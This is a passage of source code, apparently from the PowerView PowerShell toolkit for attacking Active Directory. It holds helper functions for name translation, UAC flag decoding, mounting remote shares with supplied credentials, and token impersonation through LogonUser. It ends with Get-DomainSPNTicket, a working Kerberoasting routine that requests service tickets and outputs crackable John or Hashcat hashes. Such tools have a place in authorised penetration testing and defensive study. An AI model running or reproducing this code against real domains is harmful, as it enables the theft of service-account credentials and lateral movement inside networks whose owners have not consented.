$Object, $NULL) 1906 } 1907 1908 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { 1909 [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) 1910 } 1911 1912 # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx 1913 if ($PSBoundParameters['Server']) { 1914 $ADSInitType = 2 1915 $InitName = $Server 1916 } 1917 elseif ($PSBoundParameters['Domain']) { 1918 $ADSInitType = 1 1919 $InitName = $Domain 1920 } 1921 elseif ($PSBoundParameters['Credential']) { 1922 $Cred = $Credential.GetNetworkCredential() 1923 $ADSInitType = 1 1924 $InitName = $Cred.Domain 1925 } 1926 else { 1927 # if no domain or server is specified, default to GC initialization 1928 $ADSInitType = 3 1929 $InitName = $Null 1930 } 1931 } 1932 1933 PROCESS { 1934 ForEach ($TargetIdentity in $Identity) { 1935 if (-not $PSBoundParameters['OutputType']) { 1936 if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { 1937 $ADSOutputType = $NameTypes['DomainSimple'] 1938 } 1939 else { 1940 $ADSOutputType = $NameTypes['NT4'] 1941 } 1942 } 1943 else { 1944 $ADSOutputType = $NameTypes[$OutputType] 1945 } 1946 1947 $Translate = New-Object -ComObject NameTranslate 1948 1949 if ($PSBoundParameters['Credential']) { 1950 try { 1951 $Cred = $Credential.GetNetworkCredential() 1952 1953 Invoke-Method $Translate 'InitEx' ( 1954 $ADSInitType, 1955 $InitName, 1956 $Cred.UserName, 1957 $Cred.Domain, 1958 $Cred.Password 1959 ) 1960 } 1961 catch { 1962 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" 1963 } 1964 } 1965 else { 1966 try { 1967 $Null = Invoke-Method $Translate 'Init' ( 1968 $ADSInitType, 1969 $InitName 1970 ) 1971 } 1972 catch { 1973 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" 1974 } 1975 } 1976 1977 # always chase all referrals 1978 Set-Property $Translate 'ChaseReferral' (0x60) 1979 1980 try { 1981 # 8 = Unknown name type -> let the server do the work for us 1982 $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) 1983 Invoke-Method $Translate 'Get' ($ADSOutputType) 1984 } 1985 catch [System.Management.Automation.MethodInvocationException] { 1986 Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" 1987 } 1988 } 1989 } 1990 } 1991 1992 1993 function ConvertFrom-UACValue { 1994 <# 1995 .SYNOPSIS 1996 1997 Converts a UAC int value to human readable form. 1998 1999 Author: Will Schroeder (@harmj0y) 2000 License: BSD 3-Clause 2001 Required Dependencies: None 2002 2003 .DESCRIPTION 2004 2005 This function will take an integer that represents a User Account 2006 Control (UAC) binary blob and will covert it to an ordered 2007 dictionary with each bitwise value broken out. By default only values 2008 set are displayed- the -ShowAll switch will display all values with 2009 a + next to the ones set. 2010 2011 .PARAMETER Value 2012 2013 Specifies the integer UAC value to convert. 2014 2015 .PARAMETER ShowAll 2016 2017 Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. 2018 2019 .EXAMPLE 2020 2021 ConvertFrom-UACValue -Value 66176 2022 2023 Name Value 2024 ---- ----- 2025 ENCRYPTED_TEXT_PWD_ALLOWED 128 2026 NORMAL_ACCOUNT 512 2027 DONT_EXPIRE_PASSWORD 65536 2028 2029 .EXAMPLE 2030 2031 Get-DomainUser harmj0y | ConvertFrom-UACValue 2032 2033 Name Value 2034 ---- ----- 2035 NORMAL_ACCOUNT 512 2036 DONT_EXPIRE_PASSWORD 65536 2037 2038 .EXAMPLE 2039 2040 Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll 2041 2042 Name Value 2043 ---- ----- 2044 SCRIPT 1 2045 ACCOUNTDISABLE 2 2046 HOMEDIR_REQUIRED 8 2047 LOCKOUT 16 2048 PASSWD_NOTREQD 32 2049 PASSWD_CANT_CHANGE 64 2050 ENCRYPTED_TEXT_PWD_ALLOWED 128 2051 TEMP_DUPLICATE_ACCOUNT 256 2052 NORMAL_ACCOUNT 512+ 2053 INTERDOMAIN_TRUST_ACCOUNT 2048 2054 WORKSTATION_TRUST_ACCOUNT 4096 2055 SERVER_TRUST_ACCOUNT 8192 2056 DONT_EXPIRE_PASSWORD 65536+ 2057 MNS_LOGON_ACCOUNT 131072 2058 SMARTCARD_REQUIRED 262144 2059 TRUSTED_FOR_DELEGATION 524288 2060 NOT_DELEGATED 1048576 2061 USE_DES_KEY_ONLY 2097152 2062 DONT_REQ_PREAUTH 4194304 2063 PASSWORD_EXPIRED 8388608 2064 TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 2065 PARTIAL_SECRETS_ACCOUNT 67108864 2066 2067 .INPUTS 2068 2069 Int 2070 2071 Accepts an integer representing a UAC binary blob. 2072 2073 .OUTPUTS 2074 2075 System.Collections.Specialized.OrderedDictionary 2076 2077 An ordered dictionary with the converted UAC fields. 2078 2079 .LINK 2080 2081 https://support.microsoft.com/en-us/kb/305144 2082 #> 2083 2084 [OutputType('System.Collections.Specialized.OrderedDictionary')] 2085 [CmdletBinding()] 2086 Param( 2087 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 2088 [Alias('UAC', 'useraccountcontrol')] 2089 [Int] 2090 $Value, 2091 2092 [Switch] 2093 $ShowAll 2094 ) 2095 2096 BEGIN { 2097 # values from https://support.microsoft.com/en-us/kb/305144 2098 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary 2099 $UACValues.Add("SCRIPT", 1) 2100 $UACValues.Add("ACCOUNTDISABLE", 2) 2101 $UACValues.Add("HOMEDIR_REQUIRED", 8) 2102 $UACValues.Add("LOCKOUT", 16) 2103 $UACValues.Add("PASSWD_NOTREQD", 32) 2104 $UACValues.Add("PASSWD_CANT_CHANGE", 64) 2105 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) 2106 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) 2107 $UACValues.Add("NORMAL_ACCOUNT", 512) 2108 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) 2109 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) 2110 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) 2111 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) 2112 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) 2113 $UACValues.Add("SMARTCARD_REQUIRED", 262144) 2114 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) 2115 $UACValues.Add("NOT_DELEGATED", 1048576) 2116 $UACValues.Add("USE_DES_KEY_ONLY", 2097152) 2117 $UACValues.Add("DONT_REQ_PREAUTH", 4194304) 2118 $UACValues.Add("PASSWORD_EXPIRED", 8388608) 2119 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) 2120 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) 2121 } 2122 2123 PROCESS { 2124 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary 2125 2126 if ($ShowAll) { 2127 ForEach ($UACValue in $UACValues.GetEnumerator()) { 2128 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { 2129 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") 2130 } 2131 else { 2132 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") 2133 } 2134 } 2135 } 2136 else { 2137 ForEach ($UACValue in $UACValues.GetEnumerator()) { 2138 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { 2139 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") 2140 } 2141 } 2142 } 2143 $ResultUACValues 2144 } 2145 } 2146 2147 2148 function Get-PrincipalContext { 2149 <# 2150 .SYNOPSIS 2151 2152 Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext 2153 and simplified identity. 2154 2155 Author: Will Schroeder (@harmj0y) 2156 License: BSD 3-Clause 2157 Required Dependencies: None 2158 2159 .PARAMETER Identity 2160 2161 A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 2162 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), 2163 or a DOMAIN\username identity. 2164 2165 .PARAMETER Domain 2166 2167 Specifies the domain to use to search for user/group principals, defaults to the current domain. 2168 2169 .PARAMETER Credential 2170 2171 A [Management.Automation.PSCredential] object of alternate credentials 2172 for connection to the target domain. 2173 #> 2174 2175 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 2176 [CmdletBinding()] 2177 Param( 2178 [Parameter(Position = 0, Mandatory = $True)] 2179 [Alias('GroupName', 'GroupIdentity')] 2180 [String] 2181 $Identity, 2182 2183 [ValidateNotNullOrEmpty()] 2184 [String] 2185 $Domain, 2186 2187 [Management.Automation.PSCredential] 2188 [Management.Automation.CredentialAttribute()] 2189 $Credential = [Management.Automation.PSCredential]::Empty 2190 ) 2191 2192 Add-Type -AssemblyName System.DirectoryServices.AccountManagement 2193 2194 try { 2195 if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { 2196 if ($Identity -match '.+\\.+') { 2197 # DOMAIN\groupname 2198 $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical 2199 if ($ConvertedIdentity) { 2200 $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) 2201 $ObjectIdentity = $Identity.Split('\')[1] 2202 Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" 2203 } 2204 } 2205 else { 2206 $ObjectIdentity = $Identity 2207 Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" 2208 $ConnectTarget = $Domain 2209 } 2210 2211 if ($PSBoundParameters['Credential']) { 2212 Write-Verbose '[Get-PrincipalContext] Using alternate credentials' 2213 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) 2214 } 2215 else { 2216 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) 2217 } 2218 } 2219 else { 2220 if ($PSBoundParameters['Credential']) { 2221 Write-Verbose '[Get-PrincipalContext] Using alternate credentials' 2222 $DomainName = Get-Domain | Select-Object -ExpandProperty Name 2223 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) 2224 } 2225 else { 2226 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) 2227 } 2228 $ObjectIdentity = $Identity 2229 } 2230 2231 $Out = New-Object PSObject 2232 $Out | Add-Member Noteproperty 'Context' $Context 2233 $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity 2234 $Out 2235 } 2236 catch { 2237 Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" 2238 } 2239 } 2240 2241 2242 function Add-RemoteConnection { 2243 <# 2244 .SYNOPSIS 2245 2246 Pseudo "mounts" a connection to a remote path using the specified 2247 credential object, allowing for access of remote resources. If a -Path isn't 2248 specified, a -ComputerName is required to pseudo-mount IPC$. 2249 2250 Author: Will Schroeder (@harmj0y) 2251 License: BSD 3-Clause 2252 Required Dependencies: PSReflect 2253 2254 .DESCRIPTION 2255 2256 This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection 2257 to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the 2258 -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. 2259 2260 To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path 2261 or -ComputerName. 2262 2263 .PARAMETER ComputerName 2264 2265 Specifies the system to add a \\ComputerName\IPC$ connection for. 2266 2267 .PARAMETER Path 2268 2269 Specifies the remote \\UNC\path to add the connection for. 2270 2271 .PARAMETER Credential 2272 2273 A [Management.Automation.PSCredential] object of alternate credentials 2274 for connection to the remote system. 2275 2276 .EXAMPLE 2277 2278 $Cred = Get-Credential 2279 Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred 2280 2281 .EXAMPLE 2282 2283 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 2284 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 2285 Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred 2286 2287 .EXAMPLE 2288 2289 $Cred = Get-Credential 2290 @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred 2291 #> 2292 2293 [CmdletBinding(DefaultParameterSetName = 'ComputerName')] 2294 Param( 2295 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 2296 [Alias('HostName', 'dnshostname', 'name')] 2297 [ValidateNotNullOrEmpty()] 2298 [String[]] 2299 $ComputerName, 2300 2301 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] 2302 [ValidatePattern('\\\\.*\\.*')] 2303 [String[]] 2304 $Path, 2305 2306 [Parameter(Mandatory = $True)] 2307 [Management.Automation.PSCredential] 2308 [Management.Automation.CredentialAttribute()] 2309 $Credential 2310 ) 2311 2312 BEGIN { 2313 $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) 2314 $NetResourceInstance.dwType = 1 2315 } 2316 2317 PROCESS { 2318 $Paths = @() 2319 if ($PSBoundParameters['ComputerName']) { 2320 ForEach ($TargetComputerName in $ComputerName) { 2321 $TargetComputerName = $TargetComputerName.Trim('\') 2322 $Paths += ,"\\$TargetComputerName\IPC$" 2323 } 2324 } 2325 else { 2326 $Paths += ,$Path 2327 } 2328 2329 ForEach ($TargetPath in $Paths) { 2330 $NetResourceInstance.lpRemoteName = $TargetPath 2331 Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" 2332 2333 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx 2334 # CONNECT_TEMPORARY = 4 2335 $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) 2336 2337 if ($Result -eq 0) { 2338 Write-Verbose "$TargetPath successfully mounted" 2339 } 2340 else { 2341 Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" 2342 } 2343 } 2344 } 2345 } 2346 2347 2348 function Remove-RemoteConnection { 2349 <# 2350 .SYNOPSIS 2351 2352 Destroys a connection created by New-RemoteConnection. 2353 2354 Author: Will Schroeder (@harmj0y) 2355 License: BSD 3-Clause 2356 Required Dependencies: PSReflect 2357 2358 .DESCRIPTION 2359 2360 This function uses WNetCancelConnection2 to destroy a connection created by 2361 New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to 2362 'unmount' \\$ComputerName\IPC$. 2363 2364 .PARAMETER ComputerName 2365 2366 Specifies the system to remove a \\ComputerName\IPC$ connection for. 2367 2368 .PARAMETER Path 2369 2370 Specifies the remote \\UNC\path to remove the connection for. 2371 2372 .EXAMPLE 2373 2374 Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' 2375 2376 .EXAMPLE 2377 2378 Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' 2379 2380 .EXAMPLE 2381 2382 @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection 2383 #> 2384 2385 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 2386 [CmdletBinding(DefaultParameterSetName = 'ComputerName')] 2387 Param( 2388 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 2389 [Alias('HostName', 'dnshostname', 'name')] 2390 [ValidateNotNullOrEmpty()] 2391 [String[]] 2392 $ComputerName, 2393 2394 [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] 2395 [ValidatePattern('\\\\.*\\.*')] 2396 [String[]] 2397 $Path 2398 ) 2399 2400 PROCESS { 2401 $Paths = @() 2402 if ($PSBoundParameters['ComputerName']) { 2403 ForEach ($TargetComputerName in $ComputerName) { 2404 $TargetComputerName = $TargetComputerName.Trim('\') 2405 $Paths += ,"\\$TargetComputerName\IPC$" 2406 } 2407 } 2408 else { 2409 $Paths += ,$Path 2410 } 2411 2412 ForEach ($TargetPath in $Paths) { 2413 Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" 2414 $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) 2415 2416 if ($Result -eq 0) { 2417 Write-Verbose "$TargetPath successfully ummounted" 2418 } 2419 else { 2420 Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" 2421 } 2422 } 2423 } 2424 } 2425 2426 2427 function Invoke-UserImpersonation { 2428 <# 2429 .SYNOPSIS 2430 2431 Creates a new "runas /netonly" type logon and impersonates the token. 2432 2433 Author: Will Schroeder (@harmj0y) 2434 License: BSD 3-Clause 2435 Required Dependencies: PSReflect 2436 2437 .DESCRIPTION 2438 2439 This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType 2440 to simulate "runas /netonly". The resulting token is then impersonated with 2441 ImpersonateLoggedOnUser() and the token handle is returned for later usage 2442 with Invoke-RevertToSelf. 2443 2444 .PARAMETER Credential 2445 2446 A [Management.Automation.PSCredential] object with alternate credentials 2447 to impersonate in the current thread space. 2448 2449 .PARAMETER TokenHandle 2450 2451 An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. 2452 If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() 2453 is executed. 2454 2455 .PARAMETER Quiet 2456 2457 Suppress any warnings about STA vs MTA. 2458 2459 .EXAMPLE 2460 2461 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 2462 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 2463 Invoke-UserImpersonation -Credential $Cred 2464 2465 .OUTPUTS 2466 2467 IntPtr 2468 2469 The TokenHandle result from LogonUser. 2470 #> 2471 2472 [OutputType([IntPtr])] 2473 [CmdletBinding(DefaultParameterSetName = 'Credential')] 2474 Param( 2475 [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] 2476 [Management.Automation.PSCredential] 2477 [Management.Automation.CredentialAttribute()] 2478 $Credential, 2479 2480 [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] 2481 [ValidateNotNull()] 2482 [IntPtr] 2483 $TokenHandle, 2484 2485 [Switch] 2486 $Quiet 2487 ) 2488 2489 if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { 2490 Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." 2491 } 2492 2493 if ($PSBoundParameters['TokenHandle']) { 2494 $LogonTokenHandle = $TokenHandle 2495 } 2496 else { 2497 $LogonTokenHandle = [IntPtr]::Zero 2498 $NetworkCredential = $Credential.GetNetworkCredential() 2499 $UserDomain = $NetworkCredential.Domain 2500 $UserName = $NetworkCredential.UserName 2501 Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" 2502 2503 # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 2504 # this is to simulate "runas.exe /netonly" functionality 2505 $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); 2506 2507 if (-not $Result) { 2508 throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 2509 } 2510 } 2511 2512 # actually impersonate the token from LogonUser() 2513 $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) 2514 2515 if (-not $Result) { 2516 throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 2517 } 2518 2519 Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" 2520 $LogonTokenHandle 2521 } 2522 2523 2524 function Invoke-RevertToSelf { 2525 <# 2526 .SYNOPSIS 2527 2528 Reverts any token impersonation. 2529 2530 Author: Will Schroeder (@harmj0y) 2531 License: BSD 3-Clause 2532 Required Dependencies: PSReflect 2533 2534 .DESCRIPTION 2535 2536 This function uses RevertToSelf() to revert any impersonated tokens. 2537 If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), 2538 CloseHandle() is used to close the opened handle. 2539 2540 .PARAMETER TokenHandle 2541 2542 An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. 2543 2544 .EXAMPLE 2545 2546 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 2547 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 2548 $Token = Invoke-UserImpersonation -Credential $Cred 2549 Invoke-RevertToSelf -TokenHandle $Token 2550 #> 2551 2552 [CmdletBinding()] 2553 Param( 2554 [ValidateNotNull()] 2555 [IntPtr] 2556 $TokenHandle 2557 ) 2558 2559 if ($PSBoundParameters['TokenHandle']) { 2560 Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" 2561 $Result = $Kernel32::CloseHandle($TokenHandle) 2562 } 2563 2564 $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); 2565 2566 if (-not $Result) { 2567 throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" 2568 } 2569 2570 Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" 2571 } 2572 2573 2574 function Get-DomainSPNTicket { 2575 <# 2576 .SYNOPSIS 2577 2578 Request the kerberos ticket for a specified service principal name (SPN). 2579 2580 Author: machosec, Will Schroeder (@harmj0y) 2581 License: BSD 3-Clause 2582 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf 2583 2584 .DESCRIPTION 2585 2586 This function will either take one/more SPN strings, or one/more PowerView.User objects 2587 (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN 2588 using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted 2589 portion of the ticket is then extracted and output in either crackable John or Hashcat 2590 format (deafult of Hashcat). 2591 2592 .PARAMETER SPN 2593 2594 Specifies the service principal name to request the ticket for. 2595 2596 .PARAMETER User 2597 2598 Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. 2599 2600 .PARAMETER OutputFormat 2601 2602 Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. 2603 Defaults to 'John'. 2604 2605 .PARAMETER Credential 2606 2607 A [Management.Automation.PSCredential] object of alternate credentials 2608 for connection to the remote domain using Invoke-UserImpersonation. 2609 2610 .EXAMPLE 2611 2612 Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" 2613 2614 Request a kerberos service ticket for the specified SPN. 2615 2616 .EXAMPLE 2617 2618 "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket 2619 2620 Request kerberos service tickets for all SPNs passed on the pipeline. 2621 2622 .EXAMPLE 2623 2624 Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR 2625 2626 Request kerberos service tickets for all users with non-null SPNs and output in JTR format. 2627 2628 .INPUTS 2629 2630 String 2631 2632 Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. 2633 2634 .INPUTS 2635 2636 PowerView.User 2637 2638 Accepts one or more PowerView.User objects on the pipeline with the User parameter set. 2639 2640 .OUTPUTS 2641 2642 PowerView.SPNTicket 2643 2644 Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. 2645 #> 2646 2647 [OutputType('PowerView.SPNTicket')] 2648 [CmdletBinding(DefaultParameterSetName = 'RawSPN')] 2649 Param ( 2650 [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] 2651 [ValidatePattern('.*/.*')] 2652 [Alias('ServicePrincipalName')] 2653 [String[]] 2654 $SPN, 2655 2656 [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] 2657 [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] 2658 [Object[]] 2659 $User, 2660 2661 [ValidateSet('John', 'Hashcat')] 2662 [Alias('Format')] 2663 [String] 2664 $OutputFormat = 'Hashcat', 2665 2666 [Management.Automation.PSCredential] 2667 [Management.Automation.CredentialAttribute()] 2668 $Credential = [Management.Automation.PSCredential]::Empty 2669 ) 2670 2671 BEGIN { 2672 $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') 2673 2674 if ($PSBoundParameters['Credential']) { 2675 $LogonToken = Invoke-UserImpersonation -Credential $Credential 2676 } 2677 } 2678 2679 PROCESS { 2680 if ($PSBoundParameters['User']) { 2681 $TargetObject = $User 2682 } 2683 else { 2684 $TargetObject = $SPN 2685 } 2686 2687 ForEach ($Object in $TargetObject) { 2688 if ($PSBoundParameters['User']) { 2689 $UserSPN = $Object.ServicePrincipalName 2690 $SamAccountName = $Object.SamAccountName 2691 $DistinguishedName = $Object.DistinguishedName 2692 } 2693 else { 2694 $UserSPN = $Object 2695 $SamAccountName = 'UNKNOWN' 2696 $DistinguishedName = 'UNKNOWN' 2697 } 2698 2699 # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 2700 if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { 2701 $UserSPN = $UserSPN[0] 2702 } 2703 2704 try { 2705 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN 2706 } 2707 catch { 2708 Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" 2709 } 2710 if ($Ticket) { 2711 $TicketByteStream = $Ticket.GetRequest() 2712 } 2713 if ($TicketByteStream) { 2714 $Out = New-Object PSObject 2715 2716 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' 2717 2718 $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName 2719 $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName 2720 $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName 2721 2722 # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) 2723 # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object 2724 if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { 2725 $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) 2726 $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 2727 $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) 2728 2729 # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object 2730 if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { 2731 Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" 2732 $Hash = $null 2733 $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 2734 } else { 2735 $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" 2736 $Out | Add-Member Noteproperty 'TicketByteHexStream' $null 2737 } 2738 } else { 2739 Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" 2740 $Hash = $null 2741 $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 2742 } 2743 2744 if($Hash) { 2745 # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... 2746 if ($OutputFormat -match 'John') { 2747 $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" 2748 } 2749 else { 2750 if ($DistinguishedName -ne 'UNKNOWN') { 2751 $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 2752 } 2753 else { 2754 $UserDomain = 'UNKNOWN' 2755 } 2756 2757 # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... 2758 $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" 2759 } 2760 $Out | Add-Member Noteproperty 'Hash' $HashFormat 2761 } 2762 2763 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') 2764 $Out 2765 } 2766 } 2767 } 2768 2769 END { 2770 if ($LogonToken) { 2771 Invoke-RevertToSelf -TokenHandle $LogonToken 2772 } 2773 } 2774 } 2775 2776 